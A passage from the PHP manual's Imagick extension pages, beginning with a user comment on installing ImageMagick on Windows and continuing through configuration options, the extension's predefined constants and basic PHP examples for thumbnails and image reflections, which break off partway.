They never explain. (Static means that the convert.exe does not depend on so many dlls. It only requires one external DLL, for that it has a size of 5 MB instead of 200 kb)
And the explanation about the difference between Q8 and Q16 version is wrong: Q8 does NOT mean 8 Bits per pixel as the download page says. It means 8 Bit per color = 24 Bit per Pixel)

And I found an ugly misdesign:
If you install the Q8 version on your local PC and want to copy the files from your harddisk to the server, then convert.exe will crash!
Convert.exe depends on a Registry Entry. And if this is missing (on a server where you have not full access) it will crash. The strangest thing is that this registry key can contain any nonsense, it only must exist! How stupid!

So if you want to execute as an alternative the commandline tools like convert.exe from your PHP code you must add this Registry entries to the server:
HKEY_LOCAL_MACHINE\SOFTWARE\ImageMagick\6.5.1\Q:8\ConfigurePath
The value can be anything.

But with the commandline tools you cannot obtain the width and height of an image in your PHP code. This is not possible.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Imagick configuration options
Name | Default | Changeable | Changelog
imagick.locale_fix | FALSE | PHP_INI_ALL | Available since Imagick 2.1.0
imagick.progress_monitor | FALSE | PHP_INI_SYSTEM | Available since Imagick 2.2.2
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

imagick.locale_fix boolean

Fixes a drawing bug with locales that use ',' as float separators.

imagick.progress_monitor boolean

Used to enable the image progress monitor.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

COLOR_* constants

Colortype constants. These constants are mainly used with ImagickPixel.

imagick::COLOR_BLACK (integer)
Black color
imagick::COLOR_BLUE (integer)
Blue color
imagick::COLOR_CYAN (integer)
Cyan color
imagick::COLOR_GREEN (integer)
Green color
imagick::COLOR_RED (integer)
Red color
imagick::COLOR_YELLOW (integer)
Yellow color
imagick::COLOR_MAGENTA (integer)
Magenta color
imagick::COLOR_OPACITY (integer)
Color's opacity
imagick::COLOR_ALPHA (integer)
Color's alpha
imagick::COLOR_FUZZ (integer)
Color's fuzz
DISPOSE constants

Dispose type constants

imagick::DISPOSE_UNRECOGNIZED (integer)
Unrecognized dispose type
imagick::DISPOSE_UNDEFINED (integer)
Undefined dispose type
imagick::DISPOSE_NONE (integer)
No dispose type defined
imagick::DISPOSE_BACKGROUND (integer)
Dispose background
imagick::DISPOSE_PREVIOUS (integer)
Dispose previous
Composite Operator Constants
imagick::COMPOSITE_DEFAULT (integer)
The default composite operator
imagick::COMPOSITE_UNDEFINED (integer)
Undefined composite operator
imagick::COMPOSITE_NO (integer)
No composite operator defined
imagick::COMPOSITE_ADD (integer)
The result of image + image
imagick::COMPOSITE_ATOP (integer)
The result is the same shape as image, with composite image obscuring image where the image shapes overlap
imagick::COMPOSITE_BLEND (integer)
Blends the image
imagick::COMPOSITE_BUMPMAP (integer)
The same as COMPOSITE_MULTIPLY, except the source is converted to grayscale first.
imagick::COMPOSITE_CLEAR (integer)
Makes the target image transparent
imagick::COMPOSITE_COLORBURN (integer)
Darkens the destination image to reflect the source image
imagick::COMPOSITE_COLORDODGE (integer)
Brightens the destination image to reflect the source image
imagick::COMPOSITE_COLORIZE (integer)
Colorizes the target image using the composite image
imagick::COMPOSITE_COPYBLACK (integer)
Copies black from the source to target
imagick::COMPOSITE_COPYBLUE (integer)
Copies blue from the source to target
imagick::COMPOSITE_COPY (integer)
Copies the source image on the target image
imagick::COMPOSITE_COPYCYAN (integer)
Copies cyan from the source to target
imagick::COMPOSITE_COPYGREEN (integer)
Copies green from the source to target
imagick::COMPOSITE_COPYMAGENTA (integer)
Copies magenta from the source to target
imagick::COMPOSITE_COPYOPACITY (integer)
Copies opacity from the source to target
imagick::COMPOSITE_COPYRED (integer)
Copies red from the source to target
imagick::COMPOSITE_COPYYELLOW (integer)
Copies yellow from the source to target
imagick::COMPOSITE_DARKEN (integer)
Darkens the target image
imagick::COMPOSITE_DSTATOP (integer)
The part of the destination lying inside of the source is composited over the source and replaces the destination
imagick::COMPOSITE_DST (integer)
The target is left untouched
imagick::COMPOSITE_DSTIN (integer)
The parts inside the source replace the target
imagick::COMPOSITE_DSTOUT (integer)
The parts outside the source replace the target
imagick::COMPOSITE_DSTOVER (integer)
Target replaces the source
imagick::COMPOSITE_DIFFERENCE (integer)
Subtracts the darker of the two constituent colors from the lighter
imagick::COMPOSITE_DISPLACE (integer)
Shifts target image pixels as defined by the source
imagick::COMPOSITE_DISSOLVE (integer)
Dissolves the source in to the target
imagick::COMPOSITE_EXCLUSION (integer)
Produces an effect similar to that of imagick::COMPOSITE_DIFFERENCE, but appears as lower contrast
imagick::COMPOSITE_HARDLIGHT (integer)
Multiplies or screens the colors, dependent on the source color value
imagick::COMPOSITE_HUE (integer)
Modifies the hue of the target as defined by source
imagick::COMPOSITE_IN (integer)
Composites source into the target
imagick::COMPOSITE_LIGHTEN (integer)
Lightens the target as defined by source
imagick::COMPOSITE_LUMINIZE (integer)
Luminizes the target as defined by source
imagick::COMPOSITE_MINUS (integer)
Substracts the source from the target
imagick::COMPOSITE_MODULATE (integer)
Modulates the target brightness, saturation and hue as defined by source
imagick::COMPOSITE_MULTIPLY (integer)
Multiplies the target to the source
imagick::COMPOSITE_OUT (integer)
Composites outer parts of the source on the target
imagick::COMPOSITE_OVER (integer)
Composites source over the target
imagick::COMPOSITE_OVERLAY (integer)
Overlays the source on the target
imagick::COMPOSITE_PLUS (integer)
Adds the source to the target
imagick::COMPOSITE_REPLACE (integer)
Replaces the target with the source
imagick::COMPOSITE_SATURATE (integer)
Saturates the target as defined by the source
imagick::COMPOSITE_SCREEN (integer)
The source and destination are complemented and then multiplied and then replace the destination
imagick::COMPOSITE_SOFTLIGHT (integer)
Darkens or lightens the colors, dependent on the source
imagick::COMPOSITE_SRCATOP (integer)
The part of the source lying inside of the destination is composited onto the destination
imagick::COMPOSITE_SRC (integer)
The source is copied to the destination
imagick::COMPOSITE_SRCIN (integer)
The part of the source lying inside of the destination replaces the destination
imagick::COMPOSITE_SRCOUT (integer)
The part of the source lying outside of the destination replaces the destination
imagick::COMPOSITE_SRCOVER (integer)
The source replaces the destination
imagick::COMPOSITE_SUBTRACT (integer)
Subtract the colors in the source image from the destination image
imagick::COMPOSITE_THRESHOLD (integer)
The source is composited on the target as defined by source threshold
imagick::COMPOSITE_XOR (integer)
The part of the source that lies outside of the destination is combined with the part of the destination that lies outside of the source
MONTAGEMODE constants

imagick::MONTAGEMODE_FRAME (integer)
imagick::MONTAGEMODE_UNFRAME (integer)
imagick::MONTAGEMODE_CONCATENATE (integer)
STYLE constants

imagick::STYLE_NORMAL (integer)
imagick::STYLE_ITALIC (integer)
imagick::STYLE_OBLIQUE (integer)
imagick::STYLE_ANY (integer)
FILTER constants

imagick::FILTER_UNDEFINED (integer)
imagick::FILTER_POINT (integer)
imagick::FILTER_BOX (integer)
imagick::FILTER_TRIANGLE (integer)
imagick::FILTER_HERMITE (integer)
imagick::FILTER_HANNING (integer)
imagick::FILTER_HAMMING (integer)
imagick::FILTER_BLACKMAN (integer)
imagick::FILTER_GAUSSIAN (integer)
imagick::FILTER_QUADRATIC (integer)
imagick::FILTER_CUBIC (integer)
imagick::FILTER_CATROM (integer)
imagick::FILTER_MITCHELL (integer)
imagick::FILTER_LANCZOS (integer)
imagick::FILTER_BESSEL (integer)
imagick::FILTER_SINC (integer)
IMGTYPE constants

imagick::IMGTYPE_UNDEFINED (integer)
imagick::IMGTYPE_BILEVEL (integer)
imagick::IMGTYPE_GRAYSCALE (integer)
imagick::IMGTYPE_GRAYSCALEMATTE (integer)
imagick::IMGTYPE_PALETTE (integer)
imagick::IMGTYPE_PALETTEMATTE (integer)
imagick::IMGTYPE_TRUECOLOR (integer)
imagick::IMGTYPE_TRUECOLORMATTE (integer)
imagick::IMGTYPE_COLORSEPARATION (integer)
imagick::IMGTYPE_COLORSEPARATIONMATTE (integer)
imagick::IMGTYPE_OPTIMIZE (integer)
RESOLUTION constants

imagick::RESOLUTION_UNDEFINED (integer)
imagick::RESOLUTION_PIXELSPERINCH (integer)
imagick::RESOLUTION_PIXELSPERCENTIMETER (integer)
COMPRESSION constants

imagick::COMPRESSION_UNDEFINED (integer)
imagick::COMPRESSION_NO (integer)
imagick::COMPRESSION_BZIP (integer)
imagick::COMPRESSION_FAX (integer)
imagick::COMPRESSION_GROUP4 (integer)
imagick::COMPRESSION_JPEG (integer)
imagick::COMPRESSION_JPEG2000 (integer)
imagick::COMPRESSION_LOSSLESSJPEG (integer)
imagick::COMPRESSION_LZW (integer)
imagick::COMPRESSION_RLE (integer)
imagick::COMPRESSION_ZIP (integer)
imagick::COMPRESSION_DXT1 (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.0 or higher.
imagick::COMPRESSION_DXT3 (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.0 or higher.
imagick::COMPRESSION_DXT5 (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.0 or higher.
PAINT constants

imagick::PAINT_POINT (integer)
imagick::PAINT_REPLACE (integer)
imagick::PAINT_FLOODFILL (integer)
imagick::PAINT_FILLTOBORDER (integer)
imagick::PAINT_RESET (integer)
GRAVITY constants

imagick::GRAVITY_NORTHWEST (integer)
imagick::GRAVITY_NORTH (integer)
imagick::GRAVITY_NORTHEAST (integer)
imagick::GRAVITY_WEST (integer)
imagick::GRAVITY_CENTER (integer)
imagick::GRAVITY_EAST (integer)
imagick::GRAVITY_SOUTHWEST (integer)
imagick::GRAVITY_SOUTH (integer)
imagick::GRAVITY_SOUTHEAST (integer)
STRETCH constants

imagick::STRETCH_NORMAL (integer)
imagick::STRETCH_ULTRACONDENSED (integer)
imagick::STRETCH_CONDENSED (integer)
imagick::STRETCH_SEMICONDENSED (integer)
imagick::STRETCH_SEMIEXPANDED (integer)
imagick::STRETCH_EXPANDED (integer)
imagick::STRETCH_EXTRAEXPANDED (integer)
imagick::STRETCH_ULTRAEXPANDED (integer)
imagick::STRETCH_ANY (integer)
ALIGN constants

imagick::ALIGN_UNDEFINED (integer)
imagick::ALIGN_LEFT (integer)
imagick::ALIGN_CENTER (integer)
imagick::ALIGN_RIGHT (integer)
DECORATION constants

imagick::DECORATION_NO (integer)
imagick::DECORATION_UNDERLINE (integer)
imagick::DECORATION_OVERLINE (integer)
imagick::DECORATION_LINETROUGH (integer)
NOISE constants

imagick::NOISE_UNIFORM (integer)
imagick::NOISE_GAUSSIAN (integer)
imagick::NOISE_MULTIPLICATIVEGAUSSIAN (integer)
imagick::NOISE_IMPULSE (integer)
imagick::NOISE_LAPLACIAN (integer)
imagick::NOISE_POISSON (integer)
imagick::NOISE_RANDOM (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
CHANNEL constants

imagick::CHANNEL_UNDEFINED (integer)
imagick::CHANNEL_RED (integer)
imagick::CHANNEL_GRAY (integer)
imagick::CHANNEL_CYAN (integer)
imagick::CHANNEL_GREEN (integer)
imagick::CHANNEL_MAGENTA (integer)
imagick::CHANNEL_BLUE (integer)
imagick::CHANNEL_YELLOW (integer)
imagick::CHANNEL_ALPHA (integer)
imagick::CHANNEL_OPACITY (integer)
imagick::CHANNEL_MATTE (integer)
imagick::CHANNEL_BLACK (integer)
imagick::CHANNEL_INDEX (integer)
imagick::CHANNEL_ALL (integer)
imagick::CHANNEL_DEFAULT (integer)
METRIC constants

imagick::METRIC_UNDEFINED (integer)
imagick::METRIC_MEANABSOLUTEERROR (integer)
imagick::METRIC_MEANSQUAREERROR (integer)
imagick::METRIC_PEAKABSOLUTEERROR (integer)
imagick::METRIC_PEAKSIGNALTONOISERATIO (integer)
imagick::METRIC_ROOTMEANSQUAREDERROR (integer)
PIXEL constants

imagick::PIXEL_CHAR (integer)
imagick::PIXEL_DOUBLE (integer)
imagick::PIXEL_FLOAT (integer)
imagick::PIXEL_INTEGER (integer)
imagick::PIXEL_LONG (integer)
imagick::PIXEL_QUANTUM (integer)
imagick::PIXEL_SHORT (integer)
EVALUATE constants

imagick::EVALUATE_UNDEFINED (integer)
imagick::EVALUATE_ADD (integer)
imagick::EVALUATE_AND (integer)
imagick::EVALUATE_DIVIDE (integer)
imagick::EVALUATE_LEFTSHIFT (integer)
imagick::EVALUATE_MAX (integer)
imagick::EVALUATE_MIN (integer)
imagick::EVALUATE_MULTIPLY (integer)
imagick::EVALUATE_OR (integer)
imagick::EVALUATE_RIGHTSHIFT (integer)
imagick::EVALUATE_SET (integer)
imagick::EVALUATE_SUBTRACT (integer)
imagick::EVALUATE_XOR (integer)
imagick::EVALUATE_POW (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_LOG (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_THRESHOLD (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_THRESHOLDBLACK (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_THRESHOLDWHITE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_GAUSSIANNOISE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_IMPULSENOISE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_LAPLACIANNOISE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_MULTIPLICATIVENOISE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_POISSONNOISE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_UNIFORMNOISE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_COSINE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_SINE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_ADDMODULUS (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
COLORSPACE constants

imagick::COLORSPACE_UNDEFINED (integer)
imagick::COLORSPACE_RGB (integer)
imagick::COLORSPACE_GRAY (integer)
imagick::COLORSPACE_TRANSPARENT (integer)
imagick::COLORSPACE_OHTA (integer)
imagick::COLORSPACE_LAB (integer)
imagick::COLORSPACE_XYZ (integer)
imagick::COLORSPACE_YCBCR (integer)
imagick::COLORSPACE_YCC (integer)
imagick::COLORSPACE_YIQ (integer)
imagick::COLORSPACE_YPBPR (integer)
imagick::COLORSPACE_YUV (integer)
imagick::COLORSPACE_CMYK (integer)
imagick::COLORSPACE_SRGB (integer)
imagick::COLORSPACE_HSB (integer)
imagick::COLORSPACE_HSL (integer)
imagick::COLORSPACE_HWB (integer)
imagick::COLORSPACE_REC601LUMA (integer)
imagick::COLORSPACE_REC709LUMA (integer)
imagick::COLORSPACE_LOG (integer)
imagick::COLORSPACE_CMY (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.2 or higher.
VIRTUALPIXELMETHOD constants

imagick::VIRTUALPIXELMETHOD_UNDEFINED (integer)
imagick::VIRTUALPIXELMETHOD_BACKGROUND (integer)
imagick::VIRTUALPIXELMETHOD_CONSTANT (integer)
imagick::VIRTUALPIXELMETHOD_EDGE (integer)
imagick::VIRTUALPIXELMETHOD_MIRROR (integer)
imagick::VIRTUALPIXELMETHOD_TILE (integer)
imagick::VIRTUALPIXELMETHOD_TRANSPARENT (integer)
imagick::VIRTUALPIXELMETHOD_MASK (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.2 or higher.
imagick::VIRTUALPIXELMETHOD_BLACK (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.2 or higher.
imagick::VIRTUALPIXELMETHOD_GRAY (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.2 or higher.
imagick::VIRTUALPIXELMETHOD_WHITE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.2 or higher.
imagick::VIRTUALPIXELMETHOD_HORIZONTALTILE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.3 or higher.
imagick::VIRTUALPIXELMETHOD_VERTICALTILE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.3 or higher.
PREVIEW constants

imagick::PREVIEW_UNDEFINED (integer)
imagick::PREVIEW_ROTATE (integer)
imagick::PREVIEW_SHEAR (integer)
imagick::PREVIEW_ROLL (integer)
imagick::PREVIEW_HUE (integer)
imagick::PREVIEW_SATURATION (integer)
imagick::PREVIEW_BRIGHTNESS (integer)
imagick::PREVIEW_GAMMA (integer)
imagick::PREVIEW_SPIFF (integer)
imagick::PREVIEW_DULL (integer)
imagick::PREVIEW_GRAYSCALE (integer)
imagick::PREVIEW_QUANTIZE (integer)
imagick::PREVIEW_DESPECKLE (integer)
imagick::PREVIEW_REDUCENOISE (integer)
imagick::PREVIEW_ADDNOISE (integer)
imagick::PREVIEW_SHARPEN (integer)
imagick::PREVIEW_BLUR (integer)
imagick::PREVIEW_THRESHOLD (integer)
imagick::PREVIEW_EDGEDETECT (integer)
imagick::PREVIEW_SPREAD (integer)
imagick::PREVIEW_SOLARIZE (integer)
imagick::PREVIEW_SHADE (integer)
imagick::PREVIEW_RAISE (integer)
imagick::PREVIEW_SEGMENT (integer)
imagick::PREVIEW_SWIRL (integer)
imagick::PREVIEW_IMPLODE (integer)
imagick::PREVIEW_WAVE (integer)
imagick::PREVIEW_OILPAINT (integer)
imagick::PREVIEW_CHARCOALDRAWING (integer)
imagick::PREVIEW_JPEG (integer)
RENDERINGINTENT constants

imagick::RENDERINGINTENT_UNDEFINED (integer)
imagick::RENDERINGINTENT_SATURATION (integer)
imagick::RENDERINGINTENT_PERCEPTUAL (integer)
imagick::RENDERINGINTENT_ABSOLUTE (integer)
imagick::RENDERINGINTENT_RELATIVE (integer)
INTERLACE constants

imagick::INTERLACE_UNDEFINED (integer)
imagick::INTERLACE_NO (integer)
imagick::INTERLACE_LINE (integer)
imagick::INTERLACE_PLANE (integer)
imagick::INTERLACE_PARTITION (integer)
imagick::INTERLACE_GIF (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.4 or higher.
imagick::INTERLACE_JPEG (integer)
imagick::INTERLACE_PNG (integer)
FILLRULE constants

imagick::FILLRULE_UNDEFINED (integer)
imagick::FILLRULE_EVENODD (integer)
imagick::FILLRULE_NONZERO (integer)
PATHUNITS constants

imagick::PATHUNITS_UNDEFINED (integer)
imagick::PATHUNITS_USERSPACE (integer)
imagick::PATHUNITS_USERSPACEONUSE (integer)
imagick::PATHUNITS_OBJECTBOUNDINGBOX (integer)
LINECAP constants

imagick::LINECAP_UNDEFINED (integer)
imagick::LINECAP_BUTT (integer)
imagick::LINECAP_ROUND (integer)
imagick::LINECAP_SQUARE (integer)
LINEJOIN constants

imagick::LINEJOIN_UNDEFINED (integer)
imagick::LINEJOIN_MITER (integer)
imagick::LINEJOIN_ROUND (integer)
imagick::LINEJOIN_BEVEL (integer)
RESOURCETYPE constants

imagick::RESOURCETYPE_UNDEFINED (integer)
imagick::RESOURCETYPE_AREA (integer)
imagick::RESOURCETYPE_DISK (integer)
imagick::RESOURCETYPE_FILE (integer)
imagick::RESOURCETYPE_MAP (integer)
imagick::RESOURCETYPE_MEMORY (integer)
LAYERMETHOD constants

imagick::LAYERMETHOD_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_COALESCE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_COMPAREANY (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_COMPARECLEAR (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_COMPAREOVERLAY (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_DISPOSE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_OPTIMIZE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_OPTIMIZEPLUS (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.2.9 or higher.
imagick::LAYERMETHOD_OPTIMIZEIMAGE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::LAYERMETHOD_OPTIMIZETRANS (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::LAYERMETHOD_REMOVEDUPS (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::LAYERMETHOD_REMOVEZERO (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::LAYERMETHOD_COMPOSITE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::LAYERMETHOD_MERGE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.7 or higher.
imagick::LAYERMETHOD_FLATTEN (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.7 or higher.
imagick::LAYERMETHOD_MOSAIC (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.7 or higher.
ORIENTATION constants

imagick::ORIENTATION_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_TOPLEFT (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_TOPRIGHT (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_BOTTOMRIGHT (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_BOTTOMLEFT (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_LEFTTOP (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_RIGHTTOP (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_RIGHTBOTTOM (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
imagick::ORIENTATION_LEFTBOTTOM (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.0 or higher.
DISTORTION constants

imagick::DISTORTION_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_AFFINE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_AFFINEPROJECTION (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_ARC (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_BILINEAR (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_PERSPECTIVE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_PERSPECTIVEPROJECTION (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_SCALEROTATETRANSLATE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
imagick::DISTORTION_POLYNOMIAL (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DISTORTION_POLAR (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DISTORTION_DEPOLAR (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DISTORTION_BARREL (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DISTORTION_BARRELINVERSE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DISTORTION_SHEPARDS (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DISTORTION_SENTINEL (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
ALPHACHANNEL constants

imagick::ALPHACHANNEL_ACTIVATE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.8 or higher.
imagick::ALPHACHANNEL_DEACTIVATE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.8 or higher.
imagick::ALPHACHANNEL_RESET (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.8 or higher.
imagick::ALPHACHANNEL_SET (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.8 or higher.
imagick::ALPHACHANNEL_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::ALPHACHANNEL_COPY (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::ALPHACHANNEL_EXTRACT (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::ALPHACHANNEL_OPAQUE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::ALPHACHANNEL_SHAPE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::ALPHACHANNEL_TRANSPARENT (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
SPARSECOLORMETHOD constants

imagick::SPARSECOLORMETHOD_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_BARYCENTRIC (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_BILINEAR (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_POLYNOMIAL (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_SPEPARDS (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_VORONOI (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
FUNCTION constants

imagick::FUNCTION_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.9 or higher.
imagick::FUNCTION_POLYNOMIAL (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.9 or higher.
imagick::FUNCTION_SINUSOID (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.9 or higher.
INTERPOLATE constants

imagick::INTERPOLATE_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_AVERAGE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_BICUBIC (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_BILINEAR (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_FILTER (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_INTEGER (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_MESH (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_NEARESTNEIGHBOR (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.2 or higher.
imagick::INTERPOLATE_SPLINE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.4 or higher.
DITHERMETHOD constants

imagick::DITHERMETHOD_UNDEFINED (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DITHERMETHOD_NO (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DITHERMETHOD_RIEMERSMA (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.
imagick::DITHERMETHOD_FLOYDSTEINBERG (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.6 or higher.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
ImageMagick


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
ImageMagick


Basic usage

Imagick makes image manipulation in PHP extremely easy through an OO interface. Here is a quick example on how to make a thumbnail:

Example #1 Creating a thumbnail in Imagick

<?php

header('Content-type: image/jpeg');

$image = new Imagick('image.jpg');

// If 0 is provided as a width or height parameter,
// aspect ratio is maintained
$image->thumbnailImage(100, 0);

echo $image;

?>

Using SPL and other OO features supported in Imagick, it can be simple to resize all files in a directory (useful for batch resizing large digital camera images to be web viewable). Here we use resize, as we might want to retain certain meta-data:

Example #2 Make a thumbnail of all JPG files in a directory

<?php

$images = new Imagick(glob('images/*.JPG'));

foreach($images as $image) {

    // Providing 0 forces thumbnailImage to maintain aspect ratio
    $image->thumbnailImage(1024,0);

}

$images->writeImages();

?>

This is an example of creating a reflection of an image. The reflection is created by flipping the image and overlaying a gradient on it. Then both, the original image and the reflection is overlayed on a canvas.

Example #3 Creating a reflection of an image

<?php
/* Read the image */
$im = new Imagick("test.png");

/* Thumbnail the image */
$im->thumbnailImage(200, null);

/* Create a border for the image */
$im->borderImage(new ImagickPixel("white"), 5, 5);

/* Clone the image and flip it */
$reflection = $im->clone();
$reflection->flipImage();

/* Create gradient. It will be overlayed on the reflection */
$gradient = new Imagick();

